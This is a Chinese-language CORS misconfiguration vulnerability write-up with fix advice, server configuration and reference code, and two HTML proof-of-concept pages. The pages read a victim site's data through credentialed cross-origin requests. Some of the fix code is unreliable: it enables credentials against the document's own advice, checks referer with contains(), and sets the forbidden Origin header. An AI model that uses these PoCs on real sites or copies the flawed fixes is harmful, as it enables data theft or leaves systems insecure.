漏洞名称:
CORS跨域资源读取漏洞
漏洞等级:
中危
漏洞描述:
CORS是一种允许浏览器向跨源服务器发送请求的机制,用以实现跨域数据交换。但是,如果服务器没有正确配置CORS策略,攻击者就可以利用此漏洞来绕过浏览器的同源策略限制,从跨源服务器获取敏感信息。
漏洞成因:
CORS策略应该只允许来自合法域的请求,并且只允许合法的HTTP方法和header。如果CORS策略配置不当或过于宽松,攻击者可以利用这点来绕过限制,由跨源服务器发起CORS请求来绕过同源策略限制,获取跨源数据。
漏洞危害:
攻击者可以利用CORS错误配置漏洞,从恶意网站跨域读取受害网站的敏感信息。
修复建议:
通用修复建议:
1.禁止配置“Access-Control-Allow-Origin”为“*”和“null”;
2.严格校验“Origin”值,避免出现权限泄露;
3.避免使用“Access-Control-Allow-Credentials:true”;
4.减少“Access-Control-Allow-Methods”所允许的方法。
Nginx设置CORS实现跨域访问
默认情况下Ajax在请求跨域的时候会被阻止,如调用API/前端库字体等不方便,可通过如下设置来实现跨域访问。
Nginx配置
在nginx server段内添加如下代码,并重启Nginx即可:
location /{
add_header 'Access-Control-Allow-Origin' ip地址;
add_header 'Access-Control-Allow-Credentials' 'true';
add_header 'Access-Control-Allow-Headers' 'Authorization,Content-Type,Accept,Origin,User-Agent,DNT,Cache-Control,X-Mx-ReqToken,X-Requested-With';
add_header 'Access-Control-Allow-Methods' 'GET,POST';
}
注意:add_header 'Access-Control-Allow-Origin' ip地址 需要进行指定ip配置。
参考代码:
// 跨域请求前设置正确的CORS头
response.setHeader("Access-Control-Allow-Origin", "http://example.com");
response.setHeader("Access-Control-Allow-Methods", "GET, POST, OPTIONS");
response.setHeader("Access-Control-Allow-Headers", "X-Requested-With,Content-Type");
// 服务端校验referer头并设置允许的origin
if (request.getHeader("referer") != null &&
request.getHeader("referer").contains("http://example.com")) {
response.setHeader("Access-Control-Allow-Origin", "http://example.com");
} else {
response.sendError(403); // Forbidden
}
// 前端通过AJAX发起跨域请求
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://example.org/cors-endpoint');
xhr.setRequestHeader('Origin', 'http://example.com');
xhr.send();
// 服务端检验origin头并做出响应
if (request.getHeader("Origin") != null &&
request.getHeader("Origin").equals("http://example.com")) {
response.setHeader("Access-Control-Allow-Origin", "http://example.com");
} else {
response.sendError(403);
}
// 使用CORS middleware对所有请求设置默认CORS头
app.use((req, res, next) => {
res.setHeader('Access-Control-Allow-Origin', 'http://example.com');
res.setHeader(
'Access-Control-Allow-Methods',
'GET, POST, OPTIONS, PUT, PATCH, DELETE'
);
res.setHeader(
'Access-Control-Allow-Headers',
'X-Requested-With,content-type'
);
next();
});
测试过程:
数据采用GET或POST请求,数据包中各参数均为用户可控参数,没有设置CSRF-Token,没有验证Referer字段,没有图形验证码和短信、邮件验证码,同时也没有校验非标准Http头部X-Requested-With: XMLHttpRequest,没有设置自定义的Http头部字段,access-control-allow-credentials: true同时access-control-allow-origin的值随着Origin的值而变化,所以综上判断存在网站存在CORS跨域资源读取漏洞。
<!DOCTYPE html>
<html>
<body>
<center>
<h2>CORS POC Exploit</h2>
<h3>Extract SID</h3>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
<script>
function cors() {
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = alert(this.responseText);
}
};
xmlhttp.open("GET", "https://www.baidu.com/usma/api/v1/system/list?systemName=&pageSize=100&page=1", true);
xmlhttp.withCredentials = true;
xmlhttp.send();
}
</script>
</body>
</html>
POST请求:
<!DOCTYPE html>
<html>
<head>
<script>
function cors() {
var xmlhttp = new XMLHttpRequest();
var params = '{"appAccount":"","positionCode":"","cn":"","companyCode":"","state":"","pageNumber":1,"pageSize":15,"pageCode":"qx01"}';
xmlhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200){
document.getElementById("demo").innerHTML = alert(this.responseText);
}
};
xmlhttp.open("POST", "http://www.pxc.local/master/userAuth/list", true);
xmlhttp.setRequestHeader('Content-type', 'application/json;charset=UTF-8');
xmlhttp.setRequestHeader('X-Requested-With', 'XMLHttpRequest');
xmlhttp.setRequestHeader('CSRF', 'Token');
xmlhttp.setRequestHeader('Accept', '');
xmlhttp.setRequestHeader('X-AUTH-TOKEN', 'X-AUTH-TOKEN');
xmlhttp.setRequestHeader('X-AUTH-UID', 'X-AUTH-UID');
xmlhttp.withCredentials = true;
xmlhttp.send(params);
}
</script>
</head>
<body>
<center>
<h2>CORS POC</h2>
<h3>Extract Information</h3>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
</body>
</html>